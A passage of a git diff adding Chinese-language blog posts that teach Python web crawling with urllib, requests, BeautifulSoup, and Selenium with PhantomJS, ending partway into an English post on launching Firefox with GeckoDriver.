print(bsObj.h1.get_text()) + print(bsObj.find(id="mw-content-text").findAll("p")[0]) + print(bsObj.find(id="ca-edit").find("span").find("a").attrs['href']) + except AttributeError: + print("This page is missing something! No worries though!") + + allLinks = bsObj.find_all("a", href=re.compile("^(/wiki/)((?!:).)*$")) + for link in allLinks: + if 'href' in link.attrs: + newPage = link.attrs['href'] + print("------------------------\n" + newPage) + pages.add(newPage) + getLinks(newPage) + + + getLinks("/wiki/Farouk_Topan") + ``` + + ## 案例实战四 + + 通过定义函数,获取页面内的所有外链 + + ``` + from urllib.request import urlopen + from bs4 import BeautifulSoup + import datetime + import random + import re + + random.seed(datetime.datetime.now()) + allExtLinks = set() + allIntLinks = set() + + + # 获取页面所有内链的列表 + def getInternalLinks(bsObj, includeUrl): + internalLinks = [] + # Finds all links that begin with a "/" + for link in bsObj.findAll("a", href=re.compile("^(/.*" + includeUrl + ")")): + if link.attrs["href"] is not None: + if link.attrs["href"] not in internalLinks: + internalLinks.append(link.attrs["href"]) + return internalLinks + + + # 获取所有外链的列表 + def getExternallLinks(bsObj, excludeUrl): + externalLinks = [] + # Finds all links that start with "http" or "www" that do not contain the current URL + for link in bsObj.findAll("a", href=re.compile("^(http|www)((?!" + excludeUrl + ").)*$")): + if link.attrs["href"] is not None: + if link.attrs['href'] not in externalLinks: + externalLinks.append(link.attrs['href']) + return externalLinks + + + # url拆分 + def splitAddress(address): + addressParts = address.replace("http://", "").split("/") + return addressParts + + + # Collects a list of all external URLs found on the site + def getAllExternalLinks(siteUrl): + html = urlopen(siteUrl) + bsObj = BeautifulSoup(html, 'lxml') + internalLinks = getInternalLinks(bsObj, splitAddress(siteUrl)[0]) + externalLinks = getExternallLinks(bsObj, splitAddress(siteUrl)[0]) + + for link in externalLinks: + if link not in allExtLinks: + allExtLinks.add(link) + print(link) + for link in internalLinks: + if link not in allIntLinks: + allIntLinks.add(link) + getAllExternalLinks("http:" + link) + + + getAllExternalLinks("http://oreilly.com") + ``` + + \ No newline at end of file diff --git a/source/_posts/Python-crawler-static-sample-7.md b/source/_posts/Python-crawler-static-sample-7.md new file mode 100644 index 0000000..82736d7 --- /dev/null +++ b/source/_posts/Python-crawler-static-sample-7.md @@ -0,0 +1,326 @@ +--- +title: Python网络爬虫实战之七:动态网页爬取案例实战 Selenium + PhantomJS +date: 2019-05-19 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: Python +tags: + - Python + - Selenium + - PhantomJS + +--- + +- ## 正文: + + ## 一、Selenium + + ### 1、Selenium是什么 + + Selenium 是什么?一句话,自动化测试工具。它支持各种浏览器,包括 Chrome,Safari,Firefox 等主流界面式浏览器,如果你在这些浏览器里面安装一个 Selenium 的插件,那么便可以方便地实现Web界面的测试。换句话说叫 Selenium 支持这些浏览器驱动。 + + ### 2、安装Selenium + + - 方法一:pip install selenium + - 方法二:[下载源码](https://pypi.org/simple/selenium/)后解压,进入解压后的目录,执行 python setup.py install + + ### 3、安装浏览器驱动 + + 使用谷歌浏览器,则下载[chromedriver.exe](https://sites.google.com/a/chromium.org/chromedriver/downloads),下载成功后,把chromedriver.exe复制到Python安装路径下的Scripts目录中 + + 使用其他浏览器方法类似 + + ### 4、快速体验Selenium + + 使用pyhon打开浏览器,并自动访问百度首页 + + ``` + from selenium import webdriver + + browser = webdriver.Chrome() + browser.get('http://www.baidu.com/') + ``` + + 打开浏览器,并自动在百度中搜索“Python”关键词 + + ``` + from selenium import webdriver + from selenium.webdriver.common.keys import Keys + + browser = webdriver.Chrome() + browser.get('https://www.baidu.com') + input = browser.find_element_by_id('kw') + input.send_keys('Python') + input.send_keys(Keys.ENTER) + ``` + + ### 5、爬取网页代码:自动在百度中搜索“Python”关键词后的网页 + + ``` + from selenium import webdriver + from selenium.webdriver.common.by import By + from selenium.webdriver.common.keys import Keys + from selenium.webdriver.support import expected_conditions as EC + from selenium.webdriver.support.wait import WebDriverWait + + browser = webdriver.Chrome() + try: + browser.get('https://www.baidu.com') + input = browser.find_element_by_id('kw') + input.send_keys('Python') + input.send_keys(Keys.ENTER) + wait = WebDriverWait(browser, 10) + wait.until(EC.presence_of_element_located((By.ID, 'content_left'))) + print(browser.current_url) + print(browser.get_cookies()) + print(browser.page_source) + finally: + browser.close() + ``` + + Selenium的更详细资料可参考[Selenium with Python中文翻译文档](http://selenium-python-zh.readthedocs.io/en/latest/index.html) + + ## 二、PhantomJS + + ### 1、PhantomJs是什么? + + PhantomJs是什么?是一个基于Webkit的"无界面"(headless)浏览器,它会把网站加载到内存并执行页面上的JavaScript,因为不会展示图形界面,所以运行起来比完整的浏览器更高效。 + + 爬取动态网页的时候,通常是PhantomJS 用来渲染解析JS,Selenium 用来驱动以及与 Python 的对接,Python 进行后期的处理,完美的三剑客! + + ### 2、安装PhantomJS + + [PhantomJS官方下载地址](http://phantomjs.org/download.html) + 下载成功后,解压得到phantomjs-2.1.1-windows文件夹,bin目录下的phantomjs.exe文件才是我们真正需要的,example目录下的文件时官方示例代码。 + + 可以通过设置环境变量来使用PhantomJS,也可以通过指定路径来操作。设置环境变量的方法式把phantomjs-2.1.1-windows的bin配置到path中,比如我的路径是D:\python\PythonLibs\phantomjs-2.1.1-windows\bin + + 通过输出PhantomJS来检验PhantomJS是否可用: + + - 如果配置了系统环境变量,在cmd控制台直接输入:phantomjs -v + - 如果没有配置系统全局变量,则进入到phantomjs.exe文件的所在目录,比如:D:\Python\PythonLibs\phantomjs-2.1.1-windows\bin,然后再执行 phantomjs -v + + ### 3、快速体验PhantomJS + + 使用方法:进入phantomjs.exe所在目录,然后执行 phantomjs 文件绝对路径 + + 执行官方示例中的hello.js文件(假设没有配置系统全局变量) + + ``` + D:\DataguruPyhton>cd D:\python\PythonLibs\phantomjs-2.1.1-windows\bin + D:\Python\PythonLibs\phantomjs-2.1.1-windows\bin>phantomjs D:\python\PythonLibs\pha + ntomjs-2.1.1-windows\examples\hello.js + + 运行结果是:Hello, world! + ``` + + 其中hello.js中的代码是: + + ``` + "use strict"; + console.log('Hello, world!'); + phantom.exit(); + ``` + + 执行官方示例中的version.js文件(假设没有配置系统全局变量) + + ``` + D:\Python\PythonLibs\phantomjs-2.1.1-windows\bin>phantomjs D:\python\PythonLibs\pha + ntomjs-2.1.1-windows\examples\version.js + + 运行结果是:using PhantomJS version 2.1.1 + ``` + + 其中version.js中的代码是: + + ``` + "use strict"; + console.log('using PhantomJS version ' + + phantom.version.major + '.' + + phantom.version.minor + '.' + + phantom.version.patch); + phantom.exit(); + ``` + + PhantomJS更详细资料可参考[PhantomJS官方文档](http://phantomjs.org/documentation/) + + ## 三、Selenium+PhantomJS结合使用 + + Selenium + PhantomJS 实例一 + + ``` + from selenium import webdriver + # 调用键盘按键操作需要引入keys包 + from selenium.webdriver.common.keys import Keys + + # 调用指定的PhantomJS浏览器创建浏览器对象(没有在环境变量中指定PhantomJS位置) + driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs') + # 调用环境变量指定的PhantomJS浏览器创建浏览器对象(如果已经在环境变量中指定了PhantomJS位置) + # driver = webdriver.PhantomJS() + driver.set_window_size(1366, 768) + # get方法会一直等到页面加载,然后才会继续程序,通常测试会在这里选择time.sleep(2) + driver.get("http://www.baidu.com/") + # 获取页面名为wraper的id标签的文本内容 + data = driver.find_element_by_id('wrapper').text + # 打印数据内容 + print(data) + # 把百度设为主页关于百度About Baidu百度推广 + # ©2018 Baidu 使用百度前必读 意见反馈 京ICP证030173号 京公网安备11000002000001号 + print(driver.title) # result: 百度一下,你就知道 + # 生成页面快照并保存 + driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\baidu.png') + # id="kw"是百度搜索输入框,输入字符串"长城" + driver.find_element_by_id('kw').send_keys(u'长城') + # id="su"是百度搜索按钮,click()是模拟点击 + driver.find_element_by_id('su').click() + # 获取新的页面快照 + driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\长城.png') + # 打印网页渲染后的源代码 + print(driver.page_source) + # 获取当前页面Cookie + print(driver.get_cookies()) + driver.quit() + ``` + + Selenium + PhantomJS 实例二 + + ``` + from selenium import webdriver + import time + # 调用键盘按键操作需要引入keys包 + from selenium.webdriver.common.keys import Keys + + # 调用指定的PhantomJS浏览器创建浏览器对象(没有在环境变量中指定PhantomJS位置) + driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs') + # 调用环境变量指定的PhantomJS浏览器创建浏览器对象(如果已经在环境变量中指定了PhantomJS位置) + # driver = webdriver.PhantomJS() + driver.set_window_size(1366, 768) + # get方法会一直等到页面加载,然后才会继续程序,通常测试会在这里选择time.sleep(2) + driver.get("http://www.baidu.com/") + # id="kw"是百度搜索输入框,输入字符串"情人节" + driver.find_element_by_id('kw').send_keys(u'情人节') + # ctrl+a全选输入框内容 + driver.find_element_by_id('kw').send_keys(Keys.CONTROL, 'a') + # ctrl+x剪切输入框内容 + driver.find_element_by_id('kw').send_keys(Keys.CONTROL, 'x') + # 输入框重新输入内容 + driver.find_element_by_id('kw').send_keys('鲜花') + # 模拟Enter回车键 + driver.find_element_by_id('su').send_keys(Keys.RETURN) + time.sleep(5) + # 清空输入框内容 + driver.find_element_by_id('kw').clear() + # 生成新的页面快照 + driver.save_screenshot(r'D:\DataguruPyhton\PythonSpider\images\鲜花.png') + # 获取当前url + print(driver.current_url) + driver.quit() + ``` + + Selenium + PhantomJS 实例三:爬取包含Ajax的动态网页数据 + + ``` + ## Selenium+PhantomJS爬取包含Ajax的动态网页数据:通过手动延时 + from selenium import webdriver + import time + + driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs') + driver.get("http://pythonscraping.com/pages/javascript/ajaxDemo.html") + # driver.page_source + time.sleep(3) + print(driver.find_element_by_id("content").text) + driver.close() + ``` + + 完善后的代码 + + ``` + ## Selenium+PhantomJS爬取包含Ajax的动态网页数据:通过检查页面是否加载完毕 + from selenium.webdriver.common.by import By + from selenium.webdriver.support.ui import WebDriverWait + from selenium.webdriver.support import expected_conditions as EC + + driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs') + driver.get("http://pythonscraping.com/pages/javascript/ajaxDemo.html") + try: + element = WebDriverWait(driver, 10).until(EC.presence_of_element_located((By.ID, "loadedButton"))) + finally: + print(driver.find_element_by_id("content").text) + driver.close() + ``` + + Selenium + PhantomJS 实例四:爬取重定向的动态网页数据 + + ``` + from selenium import webdriver + from selenium.common.exceptions import StaleElementReferenceException + + + def waitForLoad(driver): + elem = driver.find_element_by_tag_name("html") + count = 0 + while True: + count += 1 + if count > 20: + print("Timing out after 10 seconds and returning") + return + time.sleep(.5) + try: + elem == driver.find_element_by_tag_name("html") + except StaleElementReferenceException: + return + + + driver = webdriver.PhantomJS(executable_path=r'D:\python\PythonLibs\phantomjs-2.1.1-windows\bin\phantomjs') + driver.get("http://pythonscraping.com/pages/javascript/redirectDemo1.html") + waitForLoad(driver) + print(driver.page_source) + ``` + + ## 四、Selenium+PhantomJS使用时报错原因及解决方案 + + ### 1、现象 + + 报错日志: + + ``` + UserWarning: Selenium support for PhantomJS has been deprecated, please use headless versions of Chrome or Firefox instead warnings.warn('Selenium support for PhantomJS has been deprecated, please use headless ' + ``` + + 就是说selenium已经放弃PhantomJS,了,建议使用火狐或者谷歌无界面浏览器。 + + ### 2、解决方案 + + - 方案一:selenium版本降级,卸载当前selenium,重现安装低版本的selenium,比如pip install selenium==3.8.0 + - 方案二:使用 Selenium + Headless Firefox 或 Selenium + Headless Chrome + + > 将在下篇文章中详细介绍 Selenium + Headless Chrome + + ## 五、本篇文章中的代码,运行环境 + + - Python 3.6.4 + - selenium 3.8.0 + - phantomjs-2.1.1-windows + - chromedriver.exe + + ## 六、彩蛋:pillow对图片进行处理 + + 为以后读取图片验证码铺垫 + + ``` + # 需要先安装pillow,安装方法:pip install pillow + from PIL import Image, ImageFilter + + kitten = Image.open(u"D:\DataguruPyhton\PythonSpider\images\girl1.jpg") + blurryKitten = kitten.filter(ImageFilter.GaussianBlur) + blurryKitten.save(u"D:\DataguruPyhton\PythonSpider\images\girl2.jpg") + blurryKitten.show() + ``` + + \ No newline at end of file diff --git a/source/_posts/Python-crawler-urllib-requests-3.md b/source/_posts/Python-crawler-urllib-requests-3.md new file mode 100644 index 0000000..4d02d6f --- /dev/null +++ b/source/_posts/Python-crawler-urllib-requests-3.md @@ -0,0 +1,655 @@ +--- +title: Python网络爬虫实战之三:基本工具库urllib和requests +date: 2019-05-13 09:25:00 +author: Demo +img: /source/images/xxx.jpg +top: true +cover: true +coverImg: /images/1.jpg +toc: false +mathjax: false +summary: +categories: Python +tags: + - Python + - requests + - urllib +--- + + + + + +# Python网络爬虫实战之三:基本工具库urllib和requests + +# 一、urllib + +### urllib简介 + +urllib是Python中一个功能强大用于操作URL,并在爬虫时经常用到的一个基础库,无需额外安装,默认已经安装到python中。 + +### urllib在python2.x与python3.x中的区别 + +在python2.x中,urllib分为urllib和urllib2,在python3.x中合并为urllib。两者使用起来不太一样,注意转换。 + +| Python2.x | Python3.x | +| ------------------- | ------------------------------------------------- | +| import urllib2 | import urllib.request,urllib.error | +| import urllib | import urllib.request,urllib.error,urllib.parse | +| import urlparse | import urllib.parse | +| import urlopen | import urllib.request.urlopen | +| import urlencode | import urllib.parse.urlencode | +| import urllib.quote | import urllib.request.quote | +| cookielib.CookieJar | http.CookieJar | +| urllib2.Request | urllib.request.Request | + +### urllib的四个子模块 + +Python3.6.0中urllib模块包括一下四个子模块,urllib模块是一个运用于URL的包(urllib is a package that collects several modules for working with URLs) + +- urllib.request用于访问和读取URLS(urllib.request for opening and reading URLs),就像在浏览器里输入网址然后回车一样,只需要给这个库方法传入URL和其他参数就可以模拟实现这个过程。 +- urllib.error包括了所有urllib.request导致的异常(urllib.error containing the exceptions raised by urllib.request),我们可以捕捉这些异常,然后进行重试或者其他操作以确保程序不会意外终止。 +- urllib.parse用于解析URLS(urllib.parse for parsing URLs),提供了很多URL处理方法,比如拆分、解析、合并、编码。 +- urllib.robotparser用于解析robots.txt文件(urllib.robotparser for parsing robots.txt files),然后判断哪些网站可以爬,哪些网站不可以爬。 + +### 使用urllib打开网页 + +最基本的方法打开网页 + +``` +# 最基本的方法打开网页 +from urllib.request import urlopen + +response = urlopen("http://www.baidu.com") +print(type(response)) +print(response.status) +print(response.getheaders()) +print(response.getheader('Server')) +html = response.read() +print(html) +``` + +携带data参数打开网页 + +``` +# 携带data参数打开网页 +from urllib.parse import urlencode +from urllib.request import urlopen + +data = bytes(urlencode({'word': 'hello'}), encoding='utf8') +response = urlopen('http://httpbin.org/post', data=data) +print(response.read().decode('utf-8')) +``` + +携带timeout参数打开网页1 + +``` +# 携带timeout参数打开网页1 +from urllib.request import urlopen + +# response = urllib.request.urlopen('http://httpbin.org/get', timeout=0.1) +response = urlopen('http://httpbin.org/get', timeout=1) +print(response.read()) +``` + +携带timeout参数打开网页2 + +``` +# 携带timeout参数打开网页2 +from urllib.request import urlopen + +try: + response = urlopen('http://httpbin.org/get', timeout=0.1) + print(response.read()) +except Exception as e: + print(e) +``` + +通过构建Request打开网页1 + +``` +# 通过构建Request打开网页1 +from urllib.request import Request +from urllib.request import urlopen + +request = Request('https://python.org') +response = urlopen(request) +print(response.read().decode('utf-8')) +``` + +通过构建Request打开网页2 + +``` +# 通过构建Request打开网页2 +from urllib.request import Request +from urllib.request import urlopen +from urllib.parse import urlencode + +url = 'http://httpbin.org/post' +headers = { + 'User-Agent': 'Mozilla/4.0(compatibe;MSIE 5.5;Windows NT)', + 'Host': 'httpbin.org' +} +dict = {'name': 'Germey'} +data = bytes(urlencode(dict), encoding='utf8') +req = Request(url=url, data=data, headers=headers, method='POST') +response = urlopen(req) +print(response.read().decode('utf-8')) +``` + +与通过构建Request打开网页2对比 + +``` +# 与通过构建Request打开网页2对比 +from urllib.request import Request +from urllib.request import urlopen + +req = Request(url=url, data=data, method='POST') +response = urlopen(req) +print(response.read().decode('utf-8')) +``` + +通过构建Request打开网页3:通过add_header方 + +``` +# 通过构建Request打开网页3:通过add_header方法添加headers +from urllib.request import Request +from urllib.request import urlopen +from urllib.parse import urlencode + +url = 'http://httpbin.org/post' +dict = {'name': 'Germey'} +data = bytes(urlencode(dict), encoding='utf8') +req = Request(url=url, data=data, method='POST') +req.add_header('User-Agent', 'Mozilla/4.0(compatibe;MSIE 5.5;Windows NT)') +response = urlopen(req) +print(response.read().decode('utf-8')) +``` + +urlencode()的使用 + +``` +# urlencode()的使用 +from urllib.parse import urlencode +from urllib.request import urlopen +data = {'first': 'true', 'pn': 1, 'kd': 'Python'} +data = urlencode(data).encode('utf-8') +data +page = urlopen(req, data=data).read() +page +``` + +使用代理打开网页 + +``` +# 使用代理 +from urllib.error import URLError +from urllib.request import ProxyHandler, build_opener + +proxy_handler = ProxyHandler({'http': '106.56.102.140:8070'}) +opener = build_opener(proxy_handler) +try: + response = opener.open('http://www.baidu.com/') + print(response.read().decode('utf-8')) +except URLError as e: + print(e.reason) +``` + +# 二、requests + +相比较urllib模块,requests模块要简单很多,但是需要单独安装: + +- 在windows系统下只需要在命令行输入命令 pip install requests 即可安装。 +- 在 linux 系统下,只需要输入命令 sudo pip install requests ,即可安装。 + +requests库的八个主要方法 + +| 方法 | 描述 | +| ------------------ | ------------------------------- | +| requests.request() | 构造一个请求,支持以下各种方法 | +| requests.get() | 向html网页提交get请求的方法 | +| requests.post() | 向html网页提交post请求的方法 | +| requests.head() | 获取html头部信息的主要方法 | +| requests.put() | 向html网页提交put请求的方法 | +| requests.options() | 向html网页提交options请求的方法 | +| requests.patch() | 向html网页提交局部修改的请求 | +| requests.delete() | 向html网页提交删除的请求 | + +请求之后,服务器通过response返回数据,response具体参数如下图: + +| 属性 | 描述 | +| ------------------- | ------------------------------------------------ | +| r.status_code | http请求的返回状态,若为200则表示请求成功 | +| r.text | http响应内容的字符串形式,即返回的页面内容 | +| r.encoding | 从http header 中猜测的相应内容编码方式 | +| r.apparent_encoding | 从内容中分析出的响应内容编码方式(备选编码方式) | +| r.content | http响应内容的二进制形式 | + +### requests.request(method, url, **kwargs) + +- method:即 get、post、head、put、options、patch、delete +- url:即请求的网址 +- **kwargs:控制访问的参数,具体参数如下: +- - params:字典或字节序列,作为参数增加到url中。使用这个参数可以把一些键值对以?key1=value1&key2=value2的模式增加到url中 + +``` +## request(method, url, **kwargs),当 **kwargs 为 params +import requests + +payload = {'key1': 'value1', 'key2': 'value2'} +r = requests.request('GET', 'http://httpbin.org/get', params=payload) +print(r.url) +# result: http://httpbin.org/get?key1=value1&key2=value2 +print(r.text) +# result: +# { +# "args": { +# "key1": "value1", +# "key2": "value2" +# }, +# "headers": { +# "Accept": "*/*", +# "Accept-Encoding": "gzip, deflate", +# "Connection": "close", +# "Host": "httpbin.org", +# "User-Agent": "python-requests/2.19.1" +# }, +# "origin": "1.203.183.95", +# "url": "http://httpbin.org/get?key1=value1&key2=value2" +# } +``` + +- - data:字典,字节序或文件对象,重点作为向服务器提供或提交资源是提交,作为request的内容,与params不同的是,data提交的数据并不放在url链接里, 而是放在url链接对应位置的地方作为数据来存储。它也可以接受一个字符串对象。 + +``` +## request(method, url, **kwargs),当 **kwargs 为 data +import requests + +payload = {'key1': 'value1', 'key2': 'value2'} +r = requests.request('POST', 'http://httpbin.org/post', data=payload) +print(r.url) +# result: http://httpbin.org/post +print(r.text) +# result: +# { +# "args": {}, +# "data": "", +# "files": {}, +# "form": { +# "key1": "value1", +# "key2": "value2" +# }, +# "headers": { +# "Accept": "*/*", +# "Accept-Encoding": "gzip, deflate", +# "Connection": "close", +# "Content-Length": "23", +# "Content-Type": "application/x-www-form-urlencoded", +# "Host": "httpbin.org", +# "User-Agent": "python-requests/2.19.1" +# }, +# "json": null, +# "origin": "1.203.183.95", +# "url": "http://httpbin.org/post" +# } +``` + +- - json:json格式的数据, json合适在相关的html,http相关的web开发中非常常见, 也是http最经常使用的数据格式, 他是作为内容部分可以向服务器提交。 + +``` +## request(method, url, **kwargs),当 **kwargs 为 json +import requests + +payload = {'key1': 'value1', 'key2': 'value2'} +r = requests.request('POST', 'http://httpbin.org/post', json=payload) +print(r.url) +# result: http://httpbin.org/post +print(r.text) +# result: +# { +# "args": {}, +# "data": "{\"key1\": \"value1\", \"key2\": \"value2\"}", +# "files": {}, +# "form": {}, +# "headers": { +# "Accept": "*/*", +# "Accept-Encoding": "gzip, deflate", +# "Connection": "close", +# "Content-Length": "36", +# "Content-Type": "application/json", +# "Host": "httpbin.org", +# "User-Agent": "python-requests/2.19.1" +# }, +# "json": { +# "key1": "value1", +# "key2": "value2" +# }, +# "origin": "1.203.183.95", +# "url": "http://httpbin.org/post" +# } +``` + +- - files:字典, 是用来向服务器传输文件时使用的字段。 + +``` +## request(method, url, **kwargs),当 **kwargs 为 file +import requests +# filejiatao.txt 文件的内容是文本“www.baidu.com www.cctvjiatao.com” +files = {'file': open(r"D:\DataguruPyhton\PythonSpider\lesson2\filejiatao.txt", "rb")} +r = requests.request('POST', 'http://httpbin.org/post', files=files) +print(r.url) +# result: http://httpbin.org/post +print(r.text) +# result: +# { +# "args": {}, +# "data": "", +# "files": { +# "file": "www.baidu.com www.cctvjiatao.com" +# }, +# "form": {}, +# "headers": { +# "Accept": "*/*", +# "Accept-Encoding": "gzip, deflate", +# "Connection": "close", +# "Content-Length": "182", +# "Content-Type": "multipart/form-data; boundary=ee12ea6a4fd2b8a3318566775f2b268f", +# "Host": "httpbin.org", +# "User-Agent": "python-requests/2.19.1" +# }, +# "json": null, +# "origin": "1.203.183.95", +# "url": "http://httpbin.org/post" +# } +``` + +- - headers:字典是http的相关语,对应了向某个url访问时所发起的http的头字段, 可以用这个字段来定义http的访问的http头,可以用来模拟任何我们想模拟的浏览器来对url发起访问。 + +``` +## request(method, url, **kwargs),当 **kwargs 为 headers +import requests + +payload = {'key1': 'value1', 'key2': 'value2'} +headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"} +r = requests.request('GET', 'http://httpbin.org/get', params=payload, headers=headers) +print(r.url) +# result: http://httpbin.org/get?key1=value1&key2=value2 +print(r.text) +# result: +# { +# "args": { +# "key1": "value1", +# "key2": "value2" +# }, +# "headers": { +# "Accept": "*/*", +# "Accept-Encoding": "gzip, deflate", +# "Connection": "close", +# "Host": "httpbin.org", +# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36" +# }, +# "origin": "1.203.183.95", +# "url": "http://httpbin.org/get?key1=value1&key2=value2" +# } +``` + +- - cookies:字典或CookieJar,指的是从http中解析cookie + +``` +## request(method, url, **kwargs),当 **kwargs 为 cookies +import requests + +cookies = dict(cookies_are='working') +r = requests.request('GET', 'http://httpbin.org/cookies', cookies=cookies) +print(r.url) +# result: http://httpbin.org/cookies +print(r.text) +# result: +# { +# "cookies": { +# "cookies_are": "working" +# } +# } +``` + +- - auth:元组,用来支持http认证功能 + +``` +## request(method, url, **kwargs),当 **kwargs 为 auth +import requests + +cs_user = '用户名' +cs_psw = '密码' +r = requests.request('GET', 'https://api.github.com', auth=(cs_user, cs_psw)) +print(r.url) +# result: 待补充 +print(r.text) +# result: 待补充 +``` + +- - timeout: 用于设定超时时间, 单位为秒,当发起一个get请求时可以设置一个timeout时间, 如果在timeout时间内请求内容没有返回, 将产生一个timeout的异常。 + +``` +## request(method, url, **kwargs),当 **kwargs 为 timeout +import requests + +r = requests.request('GET', 'http://github.com', timeout=0.001) +print(r.url) +# result: 报错 socket.timeout: timed out +``` + +- - proxies:字典, 用来设置访问代理服务器。 + +``` +## request(method, url, **kwargs),当 **kwargs 为 proxies +import requests + +proxies = { + 'https': 'http://41.118.132.69:4433' +} +# 也可以通过环境变量设置代理 +# export HTTP_PROXY='http://10.10.1.10:3128' +# export HTTPS_PROXY='http://10.10.1.10:1080' +r = requests.request('GET', 'http://httpbin.org/get', proxies=proxies) +print(r.url) +# result: http://httpbin.org/get +print(r.text) +# result: +# { +# "args": {}, +# "headers": { +# "Accept": "*/*", +# "Accept-Encoding": "gzip, deflate", +# "Connection": "close", +# "Host": "httpbin.org", +# "User-Agent": "python-requests/2.19.1" +# }, +# "origin": "1.203.183.95", +# "url": "http://httpbin.org/get" +# } +``` + +- - verify:开关, 用于认证SSL证书, 默认为True + +``` +## request(method, url, **kwargs),当 **kwargs 为 verify,SSL证书验证 +import requests + +r = requests.request('GET', 'https://kyfw.12306.cn/otn/', verify=True) +print(r.text) + +r = requests.request('GET', 'https://kyfw.12306.cn/otn/', verify=False) +print(r.text) + +r = requests.request('GET', 'https://github.com', verify=True) +print(r.text) +``` + +- - allow_redirects: 开关, 表示是否允许对url进行重定向, 默认为True。 +- - stream: 开关, 指是否对获取内容进行立即下载, 默认为True。 +- - cert: 用于设置保存本地SSL证书路径 + +### requests.get(url, params=None, **kwargs) + +``` +# 官方文档 +def get(url, params=None, **kwargs): + kwargs.setdefault('allow_redirects', True) + return request('get', url, params=params, **kwargs) +``` + +### requests.post(url, data=None, json=None, **kwargs) + +``` +# 官方文档 +def post(url, data=None, json=None, **kwargs): + return request('post', url, data=data, json=json, **kwargs) +``` + +### requests.head(url, **kwargs) + +``` +# 官方文档 +def head(url, **kwargs): + kwargs.setdefault('allow_redirects', False) + return request('head', url, **kwargs) +``` + +### requests.options(url, **kwargs) + +``` +# 官方文档 +def options(url, **kwargs): + kwargs.setdefault('allow_redirects', True) + return request('options', url, **kwargs) +``` + +### requests.put(url, data=None, **kwargs) + +``` +# 官方文档 +def put(url, data=None, **kwargs): + return request('put', url, data=data, **kwargs) +``` + +### requests.patch(url, data=None, **kwargs) + +``` +# 官方文档 +def patch(url, data=None, **kwargs): + return request('patch', url, data=data, **kwargs) +``` + +> requests.patch和request.put类似。 +> 两者不同的是: 当我们用patch时仅需要提交需要修改的字段。 +> 而用put时,必须将所有字段一起提交到url,未提交字段将会被删除。 +> patch的好处是:节省网络带宽。 + +### requests.delete(url, **kwargs) + +``` +# 官方文档 +def delete(url, **kwargs): + return request('delete', url, **kwargs) +``` + +### requests库的异常 + +注意requests库有时会产生异常,比如网络连接错误、http错误异常、重定向异常、请求url超时异常等等。所以我们需要判断r.status_codes是否是200,在这里我们怎么样去捕捉异常呢? + 这里我们可以利用r.raise_for_status() 语句去捕捉异常,该语句在方法内部判断r.status_code是否等于200,如果不等于,则抛出异常。 + 于是在这里我们有一个爬取网页的通用代码框架 + +``` +try: + r = requests.get(url, timeout=30) # 请求超时时间为30秒 + r.raise_for_status() # 如果状态不是200,则引发异常 + r.encoding = r.apparent_encoding # 配置编码 + print(r.text) +except: + print("产生异常") +``` + +# 三、requests的综合小实例 + +### 实例一:京东商品信息的爬取 + +``` +## 京东商品信息的爬取 +# 不需要对头部做任何修改,即可爬网页 +import requests + +url = 'http://item.jd.com/2967929.html' +try: + r = requests.get(url, timeout=30) + r.raise_for_status() + r.encoding = r.apparent_encoding + print(r.text[:1000]) # 部分信息 +except: + print("失败") +``` + +### 实例二:亚马逊商品信息的爬取 + +``` +## 亚马逊商品信息的爬取 +# 该网页中对爬虫进行的爬取做了限制,因此我们需要伪装自己为浏览器发出的请求 +import requests + +url = 'http://www.amazon.cn/gp/product/B01M8L5Z3Y' +try: + kv = {'user_agent': 'Mozilla/5.0'} + r = requests.get(url, headers=kv) # 改变自己的请求数据 + r.raise_for_status() + r.encoding = r.apparent_encoding + print(r.text[1000:2000]) # 部分信息 +except: + print("失败") +``` + +### 实例三:百度搜索关键字提交 + +``` +## 百度搜索关键字提交 +# 百度的关键字接口:https://www.baidu.com/s?wd=keyword +import requests + +keyword = 'python' +try: + kv = {'wd': keyword} + headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36"} + r = requests.get('https://www.baidu.com/s', params=kv, headers=headers) + r.raise_for_status() + r.encoding = r.apparent_encoding + # print(len(r.text)) + print(r.text) +except: + print("失败") +``` + +### 实例四:网络图片的爬取 + +``` +## 网络图片的爬取 +import requests +import os + +try: + url = "https://odonohz90.qnssl.com/library/145456/bb0b3faa7a872d012bb4c57256b47585.jpg?imageView2/2/w/1000/h/1000/q/75" # 图片地址 + root = r"D:\DataguruPyhton\PythonSpider\lesson3\pic\\" + path = root + url.split("/")[-1] + if not path.endswith(".jpg"): + path += ".jpg" + if not os.path.exists(root): # 目录不存在创建目录 + os.mkdir(root) + if not os.path.exists(path): # 文件不存在则下载 + r = requests.get(url) + f = open(path, "wb") + f.write(r.content) + f.close() + print("文件下载成功") + else: + print("文件已经存在") +except: + print("获取失败") +``` + diff --git a/source/_posts/Python-crawler-webdrive-firefox.md b/source/_posts/Python-crawler-webdrive-firefox.md new file mode 100644 index 0000000..e0e32d7 --- /dev/null +++ b/source/_posts/Python-crawler-webdrive-firefox.md @@ -0,0 +1,213 @@ +--- + title: Launch Firefox with GeckoDriver (latest) + date: 2019-05-16 09:25:00 + author: Demo + img: /source/images/xxx.jpg + top: true + cover: true + coverImg: /images/1.jpg + toc: false + mathjax: false + summary: + categories: Python + tags: + + - Firefox + - Webdriver + +--- + + + + + +# Launch Firefox with GeckoDriver (latest) + +This article provides a detailed, step by step guide on how to launch Firefox with Selenium Geckodriver. In this article we use the latest versions of Selenium, Firefox & Geckodriver and show you how you can launch Firefox by providing updated code snippets. The 